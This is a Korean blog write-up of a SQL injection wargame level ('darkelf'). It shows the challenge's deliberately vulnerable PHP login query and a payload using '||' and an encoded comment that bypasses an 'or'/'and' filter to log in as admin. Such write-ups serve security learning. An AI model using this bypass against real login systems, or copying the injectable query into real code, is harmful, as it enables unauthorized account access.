LoSi

6_LoSi_darkelf

duduranran 2022. 11. 23. 21:36

여섯 번째 문제 darkelf

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

1. 식별과 인증이 동시에 이루어진다.

2. ID : admin으로 로그인하면 문제 해결이다.

3. 논리연산자( or / and)가 필터링 돼 있다.

    

ID값이 guest로 고정돼 있기 때문에

이 부분을 거짓으로 만들고, 뒷부분에 내가 원하는 것을 출력하게 만들어야겠다.

where id='guest' and pw='' or id = 'admin'#'

'or'를 기준으로 좌측의 조건은 거짓이기에 아무것도 출력되지 않고, 우측의 id가 admin인 행을 가져오게 된다.

?pw=' or id = 'admin'#

위와 같이 입력하니 "HeHe" 라고 나온다, 웃어?

논리연산자가 필터링 되어 있어 우회해야 한다.

논리연산자 'or'는 다른 표현으로 '||'와 같이 표현할 수 있다.
논리연산자 'and'는 다른 표현으로 '&&'와 같이 표현할 수 있다. 

?pw=' || id = 'admin'%23(# = %23)

위와 같이 입력하면 클리어!

Clear!!

'LoSi' 카테고리의 다른 글

8_LoSi_Troll with preg_match()  (0) 2022.11.25
7_LoSi_orge  (1) 2022.11.24
5_LoSi_wolfman with whitespace 우회  (0) 2022.11.23
4_LoSi_orc with addslashes() / substr()  (1) 2022.11.23
3_LoSi_goblin  (0) 2022.11.22